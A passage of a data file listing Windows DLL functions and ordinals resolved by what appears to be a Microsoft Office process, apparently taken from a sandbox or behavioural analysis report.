  2969. "oleaut32.dll.SafeArrayGetRecordInfo",
  2970. "oleaut32.dll.SafeArraySetRecordInfo",
  2971. "oleaut32.dll.SafeArrayGetIID",
  2972. "oleaut32.dll.SafeArraySetIID",
  2973. "oleaut32.dll.SafeArrayCopyData",
  2974. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  2975. "oleaut32.dll.SafeArrayCreateEx",
  2976. "oleaut32.dll.VarFormat",
  2977. "oleaut32.dll.VarFormatDateTime",
  2978. "oleaut32.dll.VarFormatNumber",
  2979. "oleaut32.dll.VarFormatPercent",
  2980. "oleaut32.dll.VarFormatCurrency",
  2981. "oleaut32.dll.VarWeekdayName",
  2982. "oleaut32.dll.VarMonthName",
  2983. "oleaut32.dll.VarAdd",
  2984. "oleaut32.dll.VarAnd",
  2985. "oleaut32.dll.VarCat",
  2986. "oleaut32.dll.VarDiv",
  2987. "oleaut32.dll.VarEqv",
  2988. "oleaut32.dll.VarIdiv",
  2989. "oleaut32.dll.VarImp",
  2990. "oleaut32.dll.VarMod",
  2991. "oleaut32.dll.VarMul",
  2992. "oleaut32.dll.VarOr",
  2993. "oleaut32.dll.VarPow",
  2994. "oleaut32.dll.VarSub",
  2995. "oleaut32.dll.VarXor",
  2996. "oleaut32.dll.VarAbs",
  2997. "oleaut32.dll.VarFix",
  2998. "oleaut32.dll.VarInt",
  2999. "oleaut32.dll.VarNeg",
  3000. "oleaut32.dll.VarNot",
  3001. "oleaut32.dll.VarRound",
  3002. "oleaut32.dll.VarCmp",
  3003. "oleaut32.dll.VarDecAdd",
  3004. "oleaut32.dll.VarDecCmp",
  3005. "oleaut32.dll.VarBstrCat",
  3006. "oleaut32.dll.VarCyMulI4",
  3007. "oleaut32.dll.VarBstrCmp",
  3008. "ole32.dll.CoCreateInstanceEx",
  3009. "ole32.dll.CLSIDFromProgIDEx",
  3010. "mso.dll.#5772",
  3011. "mso.dll.#9885",
  3012. "mso.dll.#4262",
  3013. "mso.dll.#8499",
  3014. "mso.dll.#5512",
  3015. "advapi32.dll.RegEnumKeyW",
  3016. "ole32.dll.CoRevokeInitializeSpy",
  3017. "comctl32.dll.#388",
  3018. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  3019. "mso.dll.#4909",
  3020. "mso.dll.#615",
  3021. "user32.dll.IsWindow",
  3022. "user32.dll.RedrawWindow",
  3023. "mso.dll.#8200",
  3024. "mso.dll.#382",
  3025. "mso.dll.#2025",
  3026. "shlwapi.dll.StrStrIW",
  3027. "winhttp.dll.WinHttpTimeFromSystemTime",
  3028. "advapi32.dll.RegDeleteTreeW",
  3029. "xmllite.dll.CreateXmlReader",
  3030. "cryptnet.dll.I_CryptNetGetConnectivity",
  3031. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  3032. "setupapi.dll.SetupIterateCabinetW",
  3033. "kernel32.dll.RegOpenKeyExW",
  3034. "kernel32.dll.RegCloseKey",
  3035. "cabinet.dll.#20",
  3036. "cabinet.dll.#22",
  3037. "devrtl.dll.DevRtlGetThreadLogToken",
  3038. "cryptsp.dll.CryptSetHashParam",
  3039. "sechost.dll.QueryServiceConfigA",
  3040. "sechost.dll.QueryServiceStatus",
  3041. "rpcrt4.dll.RpcStringBindingComposeA",
  3042. "rpcrt4.dll.RpcBindingFromStringBindingA",
  3043. "rpcrt4.dll.RpcEpResolveBinding",
  3044. "sechost.dll.LookupAccountSidLocalW",
  3045. "rpcrt4.dll.RpcStringFreeA",
  3046. "oleaut32.dll.RegisterTypeLibForUser",
  3047. "mso.dll.#1256",
  3048. "comctl32.dll.ImageList_Destroy",
  3049. "comctl32.dll.ImageList_GetIconSize",
  3050. "comctl32.dll.InitCommonControls",
  3051. "comctl32.dll.ImageList_LoadImageA",
  3052. "comctl32.dll.ImageList_SetOverlayImage",
  3053. "comctl32.dll.ImageList_AddMasked",
  3054. "comctl32.dll.ImageList_GetImageInfo",
  3055. "comctl32.dll.ImageList_Draw",
  3056. "comctl32.dll.ImageList_DrawEx",
  3057. "comctl32.dll.PropertySheetA",
  3058. "comctl32.dll.DestroyPropertySheetPage",
  3059. "comctl32.dll.CreatePropertySheetPageA",
  3060. "user32.dll.GetSysColor",
  3061. "user32.dll.SystemParametersInfoA",
  3062. "user32.dll.GetDC",
  3063. "user32.dll.ReleaseDC",
  3064. "user32.dll.LoadCursorA",
  3065. "user32.dll.RegisterClipboardFormatA",
  3066. "user32.dll.RegisterWindowMessageA",
  3067. "kernel32.dll.QueryActCtxW",
  3068. "kernel32.dll.ActivateActCtx",
  3069. "kernel32.dll.FindActCtxSectionStringW",
  3070. "kernel32.dll.DeactivateActCtx",
  3071. "user32.dll.RegisterClassA",
  3072. "comctl32.dll.RegisterClassNameW",
  3073. "uxtheme.dll.OpenThemeData",
  3074. "uxtheme.dll.GetThemeColor",
  3075. "uxtheme.dll.IsThemePartDefined",
  3076. "uxtheme.dll.GetThemeBool",
  3077. "uxtheme.dll.GetThemeFont",
  3078. "comctl32.dll.HIMAGELIST_QueryInterface",
  3079. "comctl32.dll.DrawShadowText",
  3080. "comctl32.dll.DrawSizeBox",
  3081. "comctl32.dll.DrawScrollBar",
  3082. "comctl32.dll.SizeBoxHwnd",
  3083. "comctl32.dll.ScrollBar_MouseMove",
  3084. "comctl32.dll.ScrollBar_Menu",
  3085. "comctl32.dll.HandleScrollCmd",
  3086. "comctl32.dll.DetachScrollBars",
  3087. "comctl32.dll.AttachScrollBars",
  3088. "comctl32.dll.CCSetScrollInfo",
  3089. "comctl32.dll.CCGetScrollInfo",
  3090. "comctl32.dll.CCEnableScrollBar",
  3091. "comctl32.dll.QuerySystemGestureStatus",
  3092. "uxtheme.dll.#49",
  3093. "mso.dll.#656",
  3094. "user32.dll.GetFocus",
  3095. "mso.dll.#7640",
  3096. "user32.dll.GetScrollRange",
  3097. "uxtheme.dll.GetThemeMargins",
  3098. "uxtheme.dll.GetThemeInt",
  3099. "uxtheme.dll.SetWindowTheme",
  3100. "uxtheme.dll.CloseThemeData",
  3101. "imm32.dll.ImmAssociateContext",
  3102. "uxtheme.dll.EnableThemeDialogTexture",
  3103. "gdi32.dll.GdiIsMetaPrintDC",
  3104. "imm32.dll.ImmIsIME",
  3105. "uxtheme.dll.GetThemeTextMetrics",
  3106. "uxtheme.dll.GetThemeTextExtent",
  3107. "uxtheme.dll.GetThemeBackgroundExtent",
  3108. "user32.dll.EqualRect",
  3109. "user32.dll.GetActiveWindow",
  3110. "user32.dll.SetRect",
  3111. "user32.dll.CreateWindowExA",
  3112. "user32.dll.DefWindowProcA",
  3113. "user32.dll.SetWindowLongA",
  3114. "user32.dll.GetWindowLongA",
  3115. "user32.dll.IsWindowUnicode",
  3116. "user32.dll.SetWindowTextA",
  3117. "user32.dll.IsWindowVisible",
  3118. "user32.dll.GetParent",
  3119. "user32.dll.IsIconic",
  3120. "user32.dll.IsRectEmpty",
  3121. "user32.dll.NotifyWinEvent",
  3122. "user32.dll.UpdateWindow",
  3123. "user32.dll.ShowWindow",
  3124. "user32.dll.LoadAcceleratorsW",
  3125. "riched20.dll.CreateTextServices",
  3126. "user32.dll.RegisterClipboardFormatW",
  3127. "user32.dll.GetDoubleClickTime",
  3128. "user32.dll.SetCaretBlinkTime",
  3129. "user32.dll.SystemParametersInfoW",
  3130. "user32.dll.GetKeyboardLayoutList",
  3131. "mso.dll._MsoGetFidUspDll@0",
  3132. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  3133. "usp10.dll.ScriptGetProperties",
  3134. "usp10.dll.ScriptItemize",
  3135. "user32.dll.LoadCursorW",
  3136. "user32.dll.GetKeyboardLayout",
  3137. "ole32.dll.CoCreateInstance",
  3138. "usp10.dll.ScriptGetCMap",
  3139. "user32.dll.SetWindowLongW",
  3140. "user32.dll.GetWindowLongW",
  3141. "user32.dll.PostMessageW",
  3142. "user32.dll.InvalidateRect",
  3143. "webservices.dll.WsResetHeap",
  3144. "webservices.dll.WsCloseServiceProxy",
  3145. "ws2_32.dll.#3",
  3146. "ncrypt.dll.SslDecrementProviderReferenceCount",
  3147. "ncrypt.dll.SslFreeObject",
  3148. "webservices.dll.WsFreeServiceProxy",
  3149. "usp10.dll.ScriptShape",
  3150. "user32.dll.LoadBitmapW",
  3151. "user32.dll.GetUpdateRect",
  3152. "user32.dll.DestroyWindow",
  3153. "vbe7.dll.#715",
  3154. "mso.dll.#8735",
  3155. "user32.dll.EnableWindow",
  3156. "user32.dll.GetCapture",
  3157. "dwmapi.dll.DwmIsCompositionEnabled",
  3158. "user32.dll.GetForegroundWindow",
  3159. "user32.dll.GetClassNameA",
  3160. "user32.dll.IsWindowRedirectedForPrint",
  3161. "gdi32.dll.CreateRectRgnIndirect",
  3162. "user32.dll.GetUpdateRgn",
  3163. "gdi32.dll.GetRgnBox",
  3164. "user32.dll.ValidateRect",
  3165. "user32.dll.BeginPaint",
  3166. "user32.dll.EndPaint",
  3167. "mso.dll.#3624",
  3168. "mso.dll.#5070",
  3169. "gdi32.dll.GetCurrentObject",
  3170. "gdiplus.dll.GdipCreatePath",
  3171. "gdiplus.dll.GdipStartPathFigure",
  3172. "gdiplus.dll.GdipAddPathLine2",
  3173. "gdiplus.dll.GdipClosePathFigure",
  3174. "gdiplus.dll.GdipClonePath",
  3175. "gdiplus.dll.GdipCreateMatrix2",
  3176. "gdiplus.dll.GdipTransformPath",
  3177. "gdiplus.dll.GdipDeleteMatrix",
  3178. "gdiplus.dll.GdipAddPathPolygon",
  3179. "gdiplus.dll.GdipGetPathWorldBounds",
  3180. "gdiplus.dll.GdipCreatePen1",
  3181. "gdiplus.dll.GdipSetPenLineCap197819",
  3182. "gdiplus.dll.GdipSetPenLineJoin",
  3183. "gdiplus.dll.GdipSetPenMiterLimit",
  3184. "gdiplus.dll.GdipCreatePathIter",
  3185. "gdiplus.dll.GdipPathIterRewind",
  3186. "gdiplus.dll.GdipPathIterNextSubpath",
  3187. "gdiplus.dll.GdipPathIterCopyData",
  3188. "gdiplus.dll.GdipDeletePathIter",
  3189. "gdiplus.dll.GdipAddPathLine",
  3190. "gdiplus.dll.GdipClonePen",
  3191. "gdiplus.dll.GdipSetPenStartCap",
  3192. "gdiplus.dll.GdipSetPenEndCap",
  3193. "gdiplus.dll.GdipDeletePen",
  3194. "gdiplus.dll.GdipCreateFromHDC",
  3195. "gdiplus.dll.GdipSetPixelOffsetMode",
  3196. "gdiplus.dll.GdipSetSmoothingMode",
  3197. "gdiplus.dll.GdipSetCompositingQuality",
  3198. "gdiplus.dll.GdipSetPageUnit",
  3199. "gdiplus.dll.GdipSetInterpolationMode",
  3200. "gdiplus.dll.GdipGetSmoothingMode",
  3201. "gdiplus.dll.GdipTransformPoints",
  3202. "gdiplus.dll.GdipCreateBitmapFromGraphics",
  3203. "gdiplus.dll.GdipGetImageGraphicsContext",
  3204. "gdiplus.dll.GdipTranslateWorldTransform",
  3205. "gdiplus.dll.GdipCreateImageAttributes",
  3206. "gdiplus.dll.GdipSetImageAttributesWrapMode",
  3207. "gdiplus.dll.GdipGetImageType",
  3208. "gdiplus.dll.GdipGetImageBounds",
  3209. "gdiplus.dll.GdipDrawImagePointsRect",
  3210. "oleaut32.dll.#12",
  3211. "oleaut32.dll.#8",
  3212. "oleaut32.dll.#10",
  3213. "mscms.dll.OpenColorProfileA",
  3214. "mscms.dll.OpenColorProfileW",
  3215. "mscms.dll.CreateMultiProfileTransform",
  3216. "mscms.dll.TranslateBitmapBits",
  3217. "mscms.dll.CloseColorProfile",
  3218. "mscms.dll.DeleteColorTransform",
  3219. "mscms.dll.GetStandardColorSpaceProfileW",
  3220. "mscms.dll.GetColorProfileFromHandle",
  3221. "icm32.dll.CMGetInfo",
  3222. "icm32.dll.CMCreateTransformExtW",
  3223. "icm32.dll.CMDeleteTransform",
  3224. "icm32.dll.CMTranslateRGBsExt",
  3225. "icm32.dll.CMCheckRGBs",
  3226. "icm32.dll.CMCreateMultiProfileTransform",
  3227. "icm32.dll.CMTranslateColors",
  3228. "icm32.dll.CMCheckColors",
  3229. "icm32.dll.CMCreateProfileW",
  3230. "icm32.dll.CMGetNamedProfileInfo",
  3231. "icm32.dll.CMConvertColorNameToIndex",
  3232. "icm32.dll.CMConvertIndexToColorName",
  3233. "icm32.dll.CMCreateDeviceLinkProfile",
  3234. "icm32.dll.CMIsProfileValid",
  3235. "gdiplus.dll.GdipDisposeImageAttributes",
  3236. "gdiplus.dll.GdipDeleteGraphics",
  3237. "gdiplus.dll.GdipCreateCachedBitmap",
  3238. "gdiplus.dll.GdipDrawCachedBitmap",
  3239. "mso.dll.#6899",
  3240. "mso.dll.#6247",
  3241. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  3242. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  3243. "gdi32.dll.TranslateCharsetInfo",
  3244. "gdi32.dll.GetFontData",
  3245. "mso.dll.#3300",
  3246. "mso.dll.#7465",
  3247. "gdi32.dll.GetClipRgn",
  3248. "gdi32.dll.SelectClipRgn",
  3249. "gdi32.dll.CreateCompatibleBitmap",
  3250. "gdi32.dll.SetWindowOrgEx",
  3251. "gdi32.dll.BitBlt",
  3252. "dwrite.dll.DWriteCreateFactory",
  3253. "gdi32.dll.GetClipBox",
  3254. "gdi32.dll.StretchDIBits",
  3255. "riched20.dll.REExtendedRegisterClass",
  3256. "user32.dll.DefWindowProcW",
  3257. "uxtheme.dll.IsThemeActive",
  3258. "uxtheme.dll.IsAppThemed",
  3259. "user32.dll.HideCaret",
  3260. "user32.dll.ShowCaret",
  3261. "user32.dll.GetWindowTextLengthW",
  3262. "msctf.dll.SetInputScope",
  3263. "user32.dll.GetWindowRgn",
  3264. "gdi32.dll.SaveDC",
  3265. "gdi32.dll.SetPixel",
  3266. "gdi32.dll.GetPixel",
  3267. "gdi32.dll.RestoreDC",
  3268. "uxtheme.dll.DrawThemeBackground",
  3269. "user32.dll.ClientToScreen",
  3270. "user32.dll.SetFocus",
  3271. "mso.dll.#8140",
  3272. "ole32.dll.CoGetCallState",
  3273. "ole32.dll.CoGetActivationState",
  3274. "advapi32.dll.RegisterWaitChainCOMCallback",
  3275. "user32.dll.GetWindowDC",
  3276. "gdi32.dll.SetLayout",
  3277. "gdi32.dll.RectVisible",
  3278. "gdi32.dll.ExcludeClipRect",
  3279. "mso.dll.#3913",
  3280. "user32.dll.PeekMessageA",
  3281. "mso.dll.#1380",
  3282. "mso.dll.#9500",
  3283. "user32.dll.TranslateMessage",
  3284. "user32.dll.DispatchMessageA",
  3285. "user32.dll.DispatchMessageW",
  3286. "vbe7.dll.#546",
  3287. "vbe7.dll.#539",
  3288. "vbe7.dll.#660",
  3289. "vbe7.dll.#712",
  3290. "vbe7.dll.#600",
  3291. "kernel32.dll.GetCalendarInfoW",
  3292. "oleaut32.dll.SysAllocStringLen",
  3293. "mso.dll.#791",
  3294. "mso.dll.#1848",
  3295. "mso.dll.#9374",
  3296. "mso.dll.#5286",
  3297. "mso.dll.#6368",
  3298. "mso.dll.#1010",
  3299. "mso.dll.#7979",
  3300. "mso.dll.#8549",
  3301. "mso.dll.#2863",
  3302. "mso.dll.#8970",
  3303. "mso.dll.#9198",
  3304. "mso.dll.#4795",
  3305. "mso.dll.#1865",
  3306. "mso.dll.#9688",
  3307. "mso.dll.#320",
  3308. "advapi32.dll.RegDeleteKeyA",
  3309. "user32.dll.DestroyCursor",
  3310. "mso.dll.#7173",
  3311. "mso.dll.#8511",
  3312. "mso.dll.#3299",
  3313. "mso.dll.#7001",
  3314. "mso.dll.#434",
  3315. "user32.dll.GetMessageExtraInfo",
  3316. "user32.dll.GetCursorInfo",
  3317. "user32.dll.TrackMouseEvent",
  3318. "user32.dll.GetMessagePos",
  3319. "user32.dll.ScreenToClient",
  3320. "user32.dll.WindowFromPoint",
  3321. "mso.dll.#9018",
  3322. "user32.dll.GetDesktopWindow",
  3323. "user32.dll.FindWindowExW",
  3324. "mso.dll.#8662",
  3325. "mso.dll.#1575",
  3326. "mso.dll.#5034",
  3327. "mso.dll.#1517",
  3328. "mso.dll.#718",
  3329. "mso.dll.#4708",
  3330. "mso.dll.#4175",
  3331. "mso.dll.#8672",
  3332. "mso.dll.#1990",
  3333. "mso.dll.#3051",
  3334. "mso.dll.#1819",
  3335. "mso.dll.#1419",
  3336. "oleaut32.dll.#147",
  3337. "mso.dll.#806",
  3338. "mso.dll.#4908",
  3339. "mso.dll.#8439",
  3340. "mso.dll.#2736",
  3341. "gdi32.dll.GetTextAlign",
  3342. "gdi32.dll.ExtTextOutW",
  3343. "mso.dll.#8122",
  3344. "mso.dll.#2114",
  3345. "mso.dll.#6558",
  3346. "usp10.dll.ScriptItemizeOpenType",
  3347. "usp10.dll.ScriptShapeOpenType",
  3348. "usp10.dll.ScriptPlaceOpenType",
  3349. "mso.dll.#8395",
  3350. "mso.dll.#379",
  3351. "mso.dll.#6338",
  3352. "mso.dll.#7964",
  3353. "mso.dll.#1437",
  3354. "mso.dll.#1427",
  3355. "user32.dll.RegisterPowerSettingNotification",
  3356. "powrprof.dll.PowerSettingRegisterNotification",
  3357. "user32.dll.GetWindowThreadProcessId",
  3358. "user32.dll.GetWindowTextW",
  3359. "mso.dll.#6137",
  3360. "winmm.dll.timeGetTime",
  3361. "mso.dll.#5940",
  3362. "usp10.dll.ScriptPlace",
  3363. "usp10.dll.ScriptJustify",
  3364. "usp10.dll.ScriptTextOut",
  3365. "usp10.dll.ScriptCPtoX",
  3366. "usp10.dll.ScriptXtoCP",
  3367. "usp10.dll.ScriptFreeCache",
  3368. "usp10.dll.ScriptCacheGetHeight",
  3369. "usp10.dll.ScriptLayout",
  3370. "usp10.dll.ScriptBreak",
  3371. "usp10.dll.ScriptIsComplex",
  3372. "usp10.dll.ScriptGetLogicalWidths",
  3373. "usp10.dll.ScriptApplyLogicalWidth",
  3374. "usp10.dll.ScriptGetGlyphABCWidth",
  3375. "usp10.dll.ScriptGetFontProperties",
  3376. "usp10.dll.ScriptApplyDigitSubstitution",
  3377. "usp10.dll.ScriptRecordDigitSubstitution",
  3378. "usp10.dll.ScriptGetFontAlternateGlyphs",
  3379. "mso.dll.#7578",
  3380. "mso.dll.#8483",
  3381. "mso.dll.#2613",
  3382. "mso.dll.#7848",
  3383. "mso.dll.#999",
  3384. "mso.dll.#287",
  3385. "mso.dll.#732",
  3386. "mso.dll.#5804",
  3387. "mso.dll.#2155",
  3388. "mso.dll.#9465",
  3389. "user32.dll.GetInputState",
  3390. "mso.dll.#6960",
  3391. "mso.dll.#8705",
  3392. "mso.dll.#7892",
  3393. "msi.dll.#39",
  3394. "mso.dll.#7931",
  3395. "mso.dll.#3837",
  3396. "mso.dll.#8574",
  3397. "mso.dll.#8398",
  3398. "mso.dll.#2477",
  3399. "msproof7.dll.DllGetClassObject",
  3400. "msproof7.dll.DllCanUnloadNow",
  3401. "mso.dll.#4172",
  3402. "mso.dll.#1439",
  3403. "mso.dll.#4746",
  3404. "mso.dll.#424",
  3405. "msptls.dll.?LsPointUV2FromPointUV1@Ptls6@@YGJKPBUtagLSPOINTUV@1@0KPAU21@@Z",
  3406. "msptls.dll.?LsQueryLinePointPcp@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINTUV@1@JPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  3407. "mso.dll.#8461",
  3408. "user32.dll.GetClipboardOwner",
  3409. "user32.dll.SendNotifyMessageW",
  3410. "user32.dll.GetAncestor",
  3411. "mso.dll.#3544",
  3412. "mso.dll.#900",
  3413. "mso.dll.#1422",
  3414. "user32.dll.MsgWaitForMultipleObjectsEx",
  3415. "advapi32.dll.NotifyServiceStatusChangeW",
  3416. "mso.dll.#1885",
  3417. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  3418. "mso.dll.#832",
  3419. "user32.dll.GetScrollPos",
  3420. "mso.dll.#629",
  3421. "user32.dll.IsClipboardFormatAvailable",
  3422. "gdiplus.dll.GdipGetPenWidth",
  3423. "gdiplus.dll.GdipIsOutlineVisiblePathPointI",
  3424. "advapi32.dll.CryptAcquireContextA",
  3425. "advapi32.dll.CryptGenKey",
  3426. "cryptsp.dll.CryptGenKey",
  3427. "advapi32.dll.CryptImportKey",
  3428. "cryptsp.dll.CryptImportKey",
  3429. "advapi32.dll.CryptExportKey",
  3430. "cryptsp.dll.CryptExportKey",
  3431. "advapi32.dll.CryptDestroyKey",
  3432. "advapi32.dll.CryptCreateHash",
  3433. "advapi32.dll.CryptSetHashParam",
  3434. "advapi32.dll.CryptHashData",
  3435. "advapi32.dll.CryptGetHashParam",
  3436. "cryptsp.dll.CryptGetHashParam",
  3437. "advapi32.dll.CryptDestroyHash",
  3438. "msi.dll.#90",
  3439. "advapi32.dll.ConvertSidToStringSidW",
  3440. "msi.dll.DllGetVersion",
  3441. "mso.dll.#8837",
  3442. "mso.dll.#2666",
  3443. "mso.dll.#5787",
  3444. "gdi32.dll.GetTextExtentExPointWPri",
  3445. "mso.dll.#1455",
  3446. "user32.dll.LoadImageW",
  3447. "user32.dll.CreateWindowExW",
  3448. "user32.dll.EnableScrollBar",
  3449. "user32.dll.ShowScrollBar",
  3450. "user32.dll.SetParent",
  3451. "user32.dll.KillTimer",
  3452. "user32.dll.MoveWindow",
  3453. "gdi32.dll.GetViewportExtEx",
  3454. "gdi32.dll.GetWindowExtEx",
  3455. "gdi32.dll.GetTextCharset",
  3456. "gdi32.dll.GetMapMode",
  3457. "gdi32.dll.GetLayout",
  3458. "oleaut32.dll.SysAllocString",
  3459. "oleaut32.dll.SysStringLen",
  3460. "uxtheme.dll.GetThemePartSize",
  3461. "user32.dll.GetMessageW",
  3462. "gdi32.dll.IntersectClipRect",
  3463. "gdi32.dll.SetTextColor",
  3464. "gdi32.dll.SetBkMode",
  3465. "gdi32.dll.SetTextAlign",
  3466. "gdi32.dll.ExtSelectClipRgn",
  3467. "gdi32.dll.GetTextColor",
  3468. "user32.dll.WaitMessage",
  3469. "wininet.dll.InternetGetConnectedState",
  3470. "rasapi32.dll.RasConnectionNotificationW",
  3471. "sechost.dll.NotifyServiceStatusChangeA",
  3472. "cryptsp.dll.CryptAcquireContextW",
  3473. "osppcext.dll.SLActivateProduct",
  3474. "osppcext.dll.SLGetTokenActivationGrants",
  3475. "osppcext.dll.SLGetTokenActivationCertificates",
  3476. "osppcext.dll.SLGenerateTokenActivationChallenge",
  3477. "osppcext.dll.SLSignTokenActivationChallenge",
  3478. "osppcext.dll.SLDepositTokenActivationResponse",
  3479. "osppcext.dll.SLFreeTokenActivationGrants",
  3480. "osppcext.dll.SLFreeTokenActivationCertificates",
  3481. "gdi32.dll.GdiFlush",
  3482. "user32.dll.GetClassNameW",
  3483. "mso.dll.#3702",
  3484. "mso.dll.#3484",
  3485. "mso.dll.#1966",
  3486. "mso.dll.#9566",
  3487. "mso.dll.#111",
  3488. "mso.dll.#4191",
  3489. "mso.dll.#3802",
  3490. "mso.dll.#6982",
  3491. "mso.dll.#8800",
  3492. "mso.dll.#3572",
  3493. "mso.dll.#167",
  3494. "mso.dll.#5737",
  3495. "mso.dll.#590",
  3496. "mso.dll.#3758",
  3497. "kernel32.dll.FlsAlloc",
  3498. "kernel32.dll.FlsGetValue",
  3499. "kernel32.dll.FlsSetValue",
  3500. "kernel32.dll.FlsFree",
  3501. "msgr3en.dll.CheckVersion",
  3502. "msgr3en.dll.#29",
  3503. "msgr3en.dll.#30",
  3504. "msgr3en.dll.#31",
  3505. "msgr3en.dll.#32",
  3506. "msgr3en.dll.#33",
  3507. "msgr3en.dll.#34",
  3508. "msgr3en.dll.#35",
  3509. "msgr3en.dll.#45",
  3510. "msgr3en.dll.#46",
  3511. "msgr3en.dll.#47",
  3512. "msgr3en.dll.#48",
  3513. "msgr3en.dll.#51",
  3514. "msgr3en.dll.#50",
  3515. "msgr3en.dll.#49",
  3516. "msgr3en.dll.#43",
  3517. "msgr3en.dll.#41",
  3518. "msgr3en.dll.#42",
  3519. "msgr3en.dll.#44",
  3520. "msgr3en.dll.#39",
  3521. "msgr3en.dll.#40",
  3522. "msgr3en.dll.#36",
  3523. "msgr3en.dll.#38",
  3524. "msgr3en.dll.#37",
  3525. "msgr3en.dll.#56",
  3526. "msgr3en.dll.#52",
  3527. "msgr3en.dll.#53",
  3528. "msgr3en.dll.#57",
  3529. "msgr3en.dll.#58",
  3530. "msgr3en.dll.#59",
  3531. "user32.dll.LoadStringA",
  3532. "mso.dll.#2561",
  3533. "mso.dll.#1566",
  3534. "mso.dll.#4702",
  3535. "advapi32.dll.CryptReleaseContext",
  3536. "cryptsp.dll.CryptReleaseContext",
  3537. "mso.dll.#7531",
  3538. "user32.dll.EnumThreadWindows",
  3539. "user32.dll.EnumWindows",
  3540. "user32.dll.PostMessageA",
  3541. "mso.dll.#6420",
  3542. "ieawsdc.dll.HrExtractTemplateToPath",
  3543. "user32.dll.SetCursor",
  3544. "crypt32.dll.CryptQueryObject",
  3545. "wintrust.dll.CryptSIPPutSignedDataMsg",
  3546. "wintrust.dll.CryptSIPGetSignedDataMsg",
  3547. "cryptsp.dll.CryptGetDefaultProviderW",
  3548. "crypt32.dll.CertEnumCertificatesInStore",
  3549. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  3550. "mso.dll.#7673",
  3551. "wintrust.dll.WinVerifyTrust",
  3552. "mso.dll.#9114",
  3553. "mso.dll.#709",
  3554. "mso.dll.#5913",
  3555. "mso.dll.#8051",
  3556. "mso.dll.#3712",
  3557. "wintrust.dll.WintrustCertificateTrust",
  3558. "wintrust.dll.SoftpubAuthenticode",
  3559. "wintrust.dll.SoftpubInitialize",
  3560. "wintrust.dll.SoftpubLoadMessage",
  3561. "wintrust.dll.SoftpubLoadSignature",
  3562. "wintrust.dll.SoftpubCheckCert",
  3563. "wintrust.dll.SoftpubCleanup",
  3564. "mso.dll.#8693",
  3565. "mso.dll.#8472",
  3566. "mso.dll.#3425",
  3567. "mso.dll.#5291",
  3568. "mso.dll.#1718",
  3569. "mso.dll.#4777",
  3570. "mso.dll.#1442",
  3571. "mso.dll.#4388",
  3572. "mso.dll.#1541",
  3573. "wintrust.dll.CryptSIPVerifyIndirectData",
  3574. "advapi32.dll.RegDeleteValueW",
  3575. "mso.dll.#1266",
  3576. "gdi32.dll.GetStockObject",
  3577. "mso.dll.#6501",
  3578. "riched20.dll.REMSOHInst",
  3579. "mso.dll.#511",
  3580. "mso.dll.#8118",
  3581. "gdi32.dll.GetGlyphIndicesW",
  3582. "gdi32.dll.CombineRgn",
  3583. "user32.dll.CopyRect",
  3584. "gdi32.dll.SetStretchBltMode",
  3585. "user32.dll.UpdateLayeredWindow",
  3586. "user32.dll.RemovePropW",
  3587. "mso.dll.#8060",
  3588. "mso.dll.#844",
  3589. "advapi32.dll.SaferiSearchMatchingHashRules",
  3590. "wintrust.dll.WTHelperProvDataFromStateData",
  3591. "wintrust.dll.WTHelperGetProvSignerFromChain",
  3592. "crypt32.dll.CertCloseStore",
  3593. "mso.dll.#8172",
  3594. "mso.dll.#1003",
  3595. "cabinet.dll.#23",
  3596. "mso.dll.#1923",
  3597. "mso.dll.#3784",
  3598. "mso.dll.#4317",
  3599. "mso.dll.#9528",
  3600. "mso.dll.#5341",
  3601. "mso.dll.#1414",
  3602. "mso.dll.#8202",
  3603. "mso.dll.#7189",
  3604. "mso.dll.#2738",
  3605. "mso.dll.#8691",
  3606. "mso.dll.#6079",
  3607. "mso.dll.#7167",
  3608. "mso.dll.#7163",
  3609. "mso.dll.#333",
  3610. "mso.dll.#1785",
  3611. "mso.dll.#5919",
  3612. "mso.dll.#2088",
  3613. "mso.dll.#1283",
  3614. "mso.dll.#5274",
  3615. "mso.dll.#3195",
  3616. "mso.dll.#5973",
  3617. "mso.dll.#2014",
  3618. "mso.dll.#9668",
  3619. "mso.dll.#2294",
  3620. "mso.dll.#2968",
  3621. "mso.dll.#1961",
  3622. "mso.dll.#2281",
  3623. "mso.dll.#2628",
  3624. "mso.dll.#1401",
  3625. "mso.dll.#7471",
  3626. "mso.dll.#1914",
  3627. "advapi32.dll.RegDeleteKeyW",
  3628. "mso.dll.#235",
  3629. "mso.dll.#4416",
  3630. "mso.dll.#9398",
  3631. "mso.dll.#8022",
  3632. "mso.dll.#6489",
  3633. "mso.dll.#613",
  3634. "mso.dll.#8757",
  3635. "mso.dll.#237",
  3636. "mso.dll.#4214",
  3637. "mso.dll.#884",
  3638. "mso.dll.#121",
  3639. "mso.dll.#1712",
  3640. "mso.dll.#9344",
  3641. "mso.dll.#4203",
  3642. "mso.dll.#3974",
  3643. "mso.dll.#4882",
  3644. "mso.dll.#2449",
  3645. "mso.dll.#9199",
  3646. "mso.dll.#7948",
  3647. "mso.dll.#2767",
  3648. "mso.dll.#3209",
  3649. "mso.dll.#4083",
  3650. "mso.dll.#292",
  3651. "mso.dll.#795",
  3652. "mso.dll.#8349",
  3653. "mso.dll.#8796",
  3654. "mso.dll.#3930",
  3655. "mso.dll.#9105",
  3656. "mso.dll.#2427",
  3657. "mso.dll.#8116",
  3658. "mso.dll.#6156",
  3659. "user32.dll.UnregisterClassW",
  3660. "user32.dll.UnhookWindowsHookEx",
  3661. "mso.dll.#7002",
  3662. "mso.dll.#186",
  3663. "user32.dll.PostQuitMessage",
  3664. "mso.dll.#591",
  3665. "mso.dll.#2272",
  3666. "mso.dll.#4284",
  3667. "msptls.dll.?LsDestroyContext@Ptls6@@YGJPAUlscontext@1@@Z",
  3668. "mso.dll.#4426",
  3669. "mso.dll.#8473",
